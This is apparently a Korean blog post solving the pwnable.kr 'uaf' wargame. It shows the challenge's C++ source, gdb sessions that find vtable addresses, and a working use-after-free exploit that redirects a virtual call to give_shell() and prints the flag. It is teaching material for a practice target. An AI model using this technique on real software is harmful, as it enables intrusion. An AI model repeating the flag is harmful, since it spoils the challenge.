uaf - 8 pt
Mommy, what is Use After Free bug?
ssh uaf@pwnable.kr -p2222 (pw:guest)
uaf@ubuntu:~$ ls -l
total 24
-rw-r----- 1 root uaf_pwn 22 Sep 25 2015 flag
-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25 2015 uaf
-rw-r--r-- 1 root root 1431 Sep 25 2015 uaf.cpp
uaf@ubuntu:~$ cat uaf.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; } | cs |
UAF 문제다.
Use After Free 취약점은 heap 영역에서 일어난다.
메모리에서 heap 영역은 데이터 영역이나 스택 영역에서 관리하는 형태와는 다른형태의 데이터를 다룬다.
바로 동적할당이다. 컴파일 할 시에는 데이터의 크기를 모르다가 프로그램이 실행되었을 때 크기가 정해지는 경우다.
UAF는 메모리를 malloc 해주었다가 free해주고 다시 malloc한 경우를 말한다.
malloc - free - malloc
일단 프로그램 코드를 살펴보자
main 함수를 보면, 먼저 m, w 객체가 초기화 된다.
그다음
1을 입력하면 각 객체의 introduce() 함수가 호출된다.
2를 입력하면 char 객체를 생성한다.
3을 입력하면 m, w 객체가 free 된다.
이를 보면, UAF의 조건을 충족함을 알 수 있다.
초기화된 m, w 객체를 3을 입력하여 free 해주고, 다시 2를 입력하여 같은 크기로 새로운 객체를 생성해주면 free된 m, w 자리에 초기화 되면서 취약점이 발생한다. m, w객체의 introduce() 함수주소가 담긴 주소를 알아내어 쉘을 실행해주는 give_shell() 함수주소로 덮어주면 쉘을 딸 수 있을 것이다.
주소들을 구하기 위해 분기마다 브레이크 포인트를 걸었다.
0x0000000000400fad <+233>: call 0x400dd0 <_ZNSirsERj@plt>
0x0000000000400fb2 <+238>: mov eax,DWORD PTR [rbp-0x18]
0x0000000000400fb5 <+241>: cmp eax,0x2
0x0000000000400fb8 <+244>: je 0x401000 <main+316>
0x0000000000400fba <+246>: cmp eax,0x3
0x0000000000400fbd <+249>: je 0x401076 <main+434>
0x0000000000400fc3 <+255>: cmp eax,0x1
0x0000000000400fc6 <+258>: je 0x400fcd <main+265>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+316
Breakpoint 1 at 0x401000
(gdb) b *main+434
Breakpoint 2 at 0x401076
(gdb) b *main+265
Breakpoint 3 at 0x400fcd
(gdb) r
Starting program: /home/uaf/uaf
1. use
2. after
3. free
1
Breakpoint 3, 0x0000000000400fcd in main ()
=> 0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>: add rax,0x8
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax]
0x0000000000400feb <+295>: add rax,0x8
0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>: mov rdi,rax
0x0000000000400ff9 <+309>: call rdx
0x0000000000400ffb <+311>: jmp 0x4010a9 <main+485>
call rdx를 보면, rdx에 introduce()함수 주소가 담겼음을 알 수 있다.
이전에, rax에 8을 더하기 직전에 브레이크를 걸어 rax의 값을 확인하였습니다.
set print asm-demangle on 을 해주면 글자가 깨지지 않습니다.
(gdb) b *main+272
Breakpoint 5 at 0x400fd4
(gdb) c
Continuing.
Breakpoint 5, 0x0000000000400fd4 in main ()
(gdb) x/x $rax
0x401570 <vtable for Man+16>: 0x0040117a
(gdb) x/i 0x40117a
0x40117a <Human::give_shell()>: push rbp
(gdb)
0x40117b <Human::give_shell()+1>: mov rbp,rsp
(gdb)
0x40117e <Human::give_shell()+4>: sub rsp,0x10
rax값이 give_shell()의 주소를 가리킴을 알 수 있습니다.
(gdb) b *main+276
Breakpoint 6 at 0x400fd8
(gdb) c
Continuing.
Breakpoint 6, 0x0000000000400fd8 in main ()
(gdb) x/x $rax
0x401578 <vtable for Man+24>: 0x004012d2
(gdb) x/i 0x4012d2
0x4012d2 <Man::introduce()>: push rbp
(gdb)
0x4012d3 <Man::introduce()+1>: mov rbp,rsp
(gdb)
0x4012d6 <Man::introduce()+4>: sub rsp,0x10
(gdb)
0x4012da <Man::introduce()+8>: mov QWORD PTR [rbp-0x8],rdi
그 다음 rax + 8 의 값은 introduce()의 주소를 가지고 있음을 알 수 있습니다.
정리하면
0x401570 이 가리키는 것은 0x40117a로 give_shell()함수
0x401578 (0x401570 + 8) 이 가리키는 것은 0x4012d2로 introduce()함수 이다.
그렇다면 0x401570 대신 0x401568이 들어간다면 0x401568에 8이 더해져 0x401570이 되고, give_shell()함수가 실행될 것이다.
exploit :
uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00"' > /tmp/mandu/ex
uaf@ubuntu:~$ ./uaf 4 /tmp/mandu/ex
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag uaf uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning
FLAG : yay_f1ag_aft3r_pwning
'WAR GAME > Pwnable.kr' 카테고리의 다른 글
pwnable.kr [asm] 풀이 (0) | 2018.06.13 |
---|---|
pwnable.kr [memcpy] 풀이 (0) | 2018.06.12 |
pwnable.kr [cmd2] 풀이 (0) | 2018.03.22 |
pwnable.kr [cmd1] 풀이 (0) | 2018.03.22 |
pwnable.kr [lotto] 풀이 (0) | 2018.03.18 |